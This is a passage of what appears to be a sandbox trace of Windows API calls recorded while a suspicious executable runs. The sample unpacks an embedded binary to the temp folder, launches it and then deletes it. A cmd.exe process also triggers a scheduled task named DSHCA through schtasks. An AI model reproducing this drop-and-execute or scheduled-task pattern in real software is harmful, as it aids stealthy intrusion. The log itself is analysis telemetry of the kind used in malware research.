cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0101.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¹Ø\x10wäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0101.162] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x80) returned 0x629e08 [0101.162] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0101.162] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0101.162] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x629e08) returned 0x80 [0101.162] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0101.162] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0101.162] GetCurrentProcess () returned 0xffffffff [0101.162] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0101.162] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0101.162] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0101.162] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0101.162] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0101.162] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0101.163] LockResource (hResData=0x43c648) returned 0x43c648 [0101.163] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x629e90 [0101.163] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0101.164] GetFileType (hFile=0x94) returned 0x1 [0101.164] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0101.169] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1000) returned 0x629eb0 [0101.170] WriteFile (in: hFile=0x94, lpBuffer=0x629eb0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x629eb0*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0101.170] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x629eb0 | out: hHeap=0x610000) returned 1 [0101.170] CloseHandle (hObject=0x94) returned 1 [0101.170] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner" [0101.170] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xe3c, dwThreadId=0xe40)) returned 1 [0101.183] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0106.832] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0 [0106.833] CloseHandle (hObject=0x98) returned 1 [0106.833] CloseHandle (hObject=0x94) returned 1 [0106.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x610000) returned 1 [0106.835] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0106.835] ExitProcess (uExitCode=0x0) [0106.835] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6260c8 | out: hHeap=0x610000) returned 1 Process: id = "185" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x9d9000" os_pid = "0xe28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x688" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Run /I /tn DSHCA" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 758 os_tid = 0xe2c [0102.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f7f4 | out: lpSystemTimeAsFileTime=0x14f7f4*(dwLowDateTime=0xe09f2ac0, dwHighDateTime=0x1d5d06a)) [0102.607] GetCurrentProcessId () returned 0xe28 [0102.607] GetCurrentThreadId () returned 0xe2c [0102.608] GetTickCount () returned 0x11615d2 [0102.608] QueryPerformanceCounter (in: lpPerformanceCount=0x14f7ec | out: lpPerformanceCount=0x14f7ec*=24455977725) returned 1 [0102.608] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0102.608] __set_app_type (_Type=0x1) [0102.608] __p__fmode () returned 0x76be31f4 [0102.608] __p__commode () returned 0x76be31fc [0102.609] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0102.609] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0102.609] GetCurrentThreadId () returned 0xe2c [0102.609] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe2c) returned 0x60 [0102.609] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0102.609] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0102.609] SetThreadUILanguage (LangId=0x0) returned 0x409 [0102.711] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0102.711] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f784 | out: phkResult=0x14f784*=0x0) returned 0x2 [0102.711] VirtualQuery (in: lpAddress=0x14f7bb, lpBuffer=0x14f754, dwLength=0x1c | out: lpBuffer=0x14f754*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0102.711] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f754, dwLength=0x1c | out: lpBuffer=0x14f754*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0102.711] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f754, dwLength=0x1c | out: lpBuffer=0x14f754*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0102.711] VirtualQuery (in: lpAddress=0x53000, lpBuffer=0x14f754, dwLength=0x1c | out: lpBuffer=0x14f754*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0102.711] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f754, dwLength=0x1c | out: lpBuffer=0x14f754*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0102.711] GetConsoleOutputCP () returned 0x1b5 [0102.711] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0102.711] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0102.712] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.712] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0102.712] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.712] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0102.712] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.712] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0102.712] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.713] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0102.713] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.713] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0102.713] GetEnvironmentStringsW () returned 0x5a2120* [0102.713] GetProcessHeap () returned 0x590000 [0102.713] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a2c60 [0102.714] FreeEnvironmentStringsW (penv=0x5a2120) returned 1 [0102.714] GetProcessHeap () returned 0x590000 [0102.714] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4) returned 0x5a18c0 [0102.714] GetEnvironmentStringsW () returned 0x5a2120* [0102.714] GetProcessHeap () returned 0x590000 [0102.714] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a37a0 [0102.714] FreeEnvironmentStringsW (penv=0x5a2120) returned 1 [0102.714] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e6f4 | out: phkResult=0x14e6f4*=0x68) returned 0x0 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x0, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x1, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x1, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x0, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x40, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x40, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.714] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x40, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.714] RegCloseKey (hKey=0x68) returned 0x0 [0102.715] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e6f4 | out: phkResult=0x14e6f4*=0x68) returned 0x0 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x40, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x1, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x1, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x0, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x9, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x4, lpData=0x14e700*=0x9, lpcbData=0x14e6f8*=0x4) returned 0x0 [0102.715] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e6fc, lpData=0x14e700, lpcbData=0x14e6f8*=0x1000 | out: lpType=0x14e6fc*=0x0, lpData=0x14e700*=0x9, lpcbData=0x14e6f8*=0x1000) returned 0x2 [0102.715] RegCloseKey (hKey=0x68) returned 0x0 [0102.715] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710f9 [0102.715] srand (_Seed=0x5e2710f9) [0102.715] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Run /I /tn DSHCA" [0102.715] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Run /I /tn DSHCA" [0102.715] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0102.716] GetProcessHeap () returned 0x590000 [0102.716] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x210) returned 0x5a2120 [0102.716] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5a2128, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0102.716] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.716] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.716] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.716] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.716] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.716] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0102.716] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0102.716] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0102.716] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0102.717] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0102.717] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0102.717] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0102.717] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0102.717] GetProcessHeap () returned 0x590000 [0102.717] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5a17f0 [0102.717] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f4c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0102.717] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f4c0, lpFilePart=0x14f4bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f4bc*="Desktop") returned 0x25 [0102.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0102.717] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f23c | out: lpFindFileData=0x14f23c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5a2338 [0102.717] FindClose (in: hFindFile=0x5a2338 | out: hFindFile=0x5a2338) returned 1 [0102.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f23c | out: lpFindFileData=0x14f23c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5a2338 [0102.717] FindClose (in: hFindFile=0x5a2338 | out: hFindFile=0x5a2338) returned 1 [0102.717] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0102.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f23c | out: lpFindFileData=0x14f23c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5a2338 [0102.717] FindClose (in: hFindFile=0x5a2338 | out: hFindFile=0x5a2338) returned 1 [0102.718] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0102.718] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0102.718] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0102.718] GetProcessHeap () returned 0x590000 [0102.718] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a2c60 | out: hHeap=0x590000) returned 1 [0102.718] GetEnvironmentStringsW () returned 0x5a2b78* [0102.718] GetProcessHeap () returned 0x590000 [0102.718] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a42e0 [0102.718] FreeEnvironmentStringsW (penv=0x5a2b78) returned 1 [0102.718] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0102.718] GetProcessHeap () returned 0x590000 [0102.718] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a17f0 | out: hHeap=0x590000) returned 1 [0102.718] GetProcessHeap () returned 0x590000 [0102.718] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x400e) returned 0x5a4e20 [0102.718] GetProcessHeap () returned 0x590000 [0102.718] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x42) returned 0x5a17f0 [0102.719] GetProcessHeap () returned 0x590000 [0102.719] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4e20 | out: hHeap=0x590000) returned 1 [0102.719] GetConsoleOutputCP () returned 0x1b5 [0102.719] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0102.719] GetUserDefaultLCID () returned 0x409 [0102.719] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f600, cchData=128 | out: lpLCData="0") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f600, cchData=128 | out: lpLCData="0") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f600, cchData=128 | out: lpLCData="1") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0102.720] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, 